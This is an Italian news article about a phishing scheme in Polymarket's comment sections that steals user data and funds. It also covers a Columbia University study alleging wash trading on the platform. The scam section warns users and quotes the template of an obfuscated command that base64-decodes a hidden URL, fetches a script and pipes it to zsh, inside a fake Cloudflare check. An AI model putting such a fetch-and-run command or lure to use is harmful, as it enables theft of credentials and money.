Link di phishing nei mercati privati di Polymarket: gli utenti lanciano l'allarme

Polymarket è di nuovo sulle cronache, questa volta perché uno dei suoi trader senior con il soprannome "25usdc" ha lanciato l'allarme su uno schema che utilizza la sezione commenti della piattaforma per predare utenti ignari. 

Questo sta accadendo in un momento cruciale per la piattaforma Polymarket mentre si sta preparando a rientrare nel mercato statunitense e sta faticando a superare rivali come Kalshi. 

Trader di Polymarket in allerta massima 

Secondo 25usdc, gli hacker hanno utilizzato la sezione commenti di Polymarket per eseguire una truffa e, finora, gli utenti hanno perso oltre 500.000 dollari.

"Dicono: 'Perché non stai negoziando sui mercati privati di Polymarket? Le probabilità sono sempre molto migliori lì!'" ha scritto 25usdc, prima di spiegare come funziona l'intera truffa. 

Secondo lui, tutto inizia con l'acquisto di azioni Sì e No per un mercato da due account separati. In questo modo, i loro commenti rimangono lì anche quando il filtro "Holders" è attivato. Dopo di che, pubblicano un URL al loro sito in forma offuscata.

L'URL porta l'utente ignaro a una pagina dall'aspetto pulito con il logo di Polymarket e richiede l'accesso degli utenti tramite email. Una volta verificata l'email, si apre una nuova finestra che chiede all'utente di verificare la propria attività, imitando CloudFlare. 

Tuttavia, 25usdc dice che quando si fa clic su "Copia", viene copiato un comando che assomiglia a qualcosa come "curl -kfsSL $(echo 'ENCODED_STRING=='|base64 -d)|zsh" e la prima cosa che fa, se l'utente commette l'errore di incollarlo nel proprio terminale, è decodificare la stringa codificata in base64 (un URL del server), dopo di che recupera uno script da quel server ed lo esegue immediatamente. 

Lo script in questione può contenere qualsiasi cosa e, secondo quanto riportato, non ci sarà alcun popup di avviso, a quel punto il danno è fatto e l'unica soluzione, secondo 25usdc, potrebbe essere spegnere il Wi-Fi. 

"Alla fine, raccolgono dati, registrano tutto sul tuo sistema e inviano un file zip al loro server," ha scritto 25usdc. "Poi utilizzano questi dati per accedere ai tuoi account e rubare i tuoi soldi."

Altre cose che ha notato sono state quanto attentamente il gruppo opera; ad esempio, coprono le loro tracce cambiando spesso i portafogli, offuscano ad ogni passo e persino spengono il server che invia payload e riceve dati registrati quando non ci sono vittime attive.

"Penso che il modo migliore per affrontare questo problema sia consentire agli utenti fidati di revisionare i commenti o introdurre un sistema di downvote che nasconda i post fortemente downvotati," ha concluso 25usdc, sottolineando che il semplice avvertendo Polymarket attualmente visualizzerà non sarà sufficiente. 

PSA: Non esiste un sito web "mercato privato" di Polymarket con "migliori probabilità"

Non inserire mai la tua email di Polymarket o il codice di verifica del login su nulla se non sul nostro sito ufficiale.

— Polymarket Traders (@PolymarketTrade) 9 novembre 2025

Un nuovo studio afferma che il volume di Polymarket è sostenuto dal wash trading

As Cryptopolitan ha riportato, uno studio recentemente pubblicato dai ricercatori della Columbia University afferma che il volume di attività su Polymarket è stato significativamente gonfiato dal wash trading. 

Il "negoziazione artificiale", come lo hanno definito gli autori, è variato nel tempo, ma dicono che ha rappresentato in media il 25% di tutti gli acquisti e le vendite su Polymarket negli ultimi tre anni. 

Il documento non è stato sottoposto a revisione tra pari ma è già disponibile sulla piattaforma di ricerca open-access SSRN e sta sendo esaminato da Polymarket. 

Per essere chiari, gli autori non accusano direttamente Polymarket Polymarket stessa per il wash trading. Tuttavia, hanno evidenziato elementi della struttura basata su criptovalute dello scambio che rendono l'accusa plausibile.  

Hanno anche suggerito che i clienti della società potrebbero aver partecipato indipendentemente a detto wash trading nel tentativo di migliorare le loro possibilità di accedere a un token digitale proprietario che il fondatore della società, Shayne Coplan, ha accennato alla possibilità di lanciare già il 8 ottobre. 

"Sono fiducioso che Polymarket accoglierà l'analisi nel nostro articolo," ha detto Yash Kanoria, professore alla business school della Columbia University e uno dei quattro coautori dell'articolo, in un'e-mail. "Il wash trading non aggiunge liquidità o informazioni al mercato, quindi sembrerebbe prezioso distinguere il volume autentico da quello inautentico."

Se parte del volume di Polymarket è davvero "fittizio", lo studio afferma che potrebbe alterare la comprensione della forza relativa di Polymarket nel settore e anche minare l'attuale nozione che i mercati predittivi riflettano la "saggezza di una folla più ampia."

"Il potenziale per il wash trading su larga scala significa che il volume potrebbe non essere affidabile come metrica dell'attività autentica della piattaforma, specialmente negli scambi basati su criptovalute che potrebbero non avere adeguate salvaguardie," hanno concluso gli autori.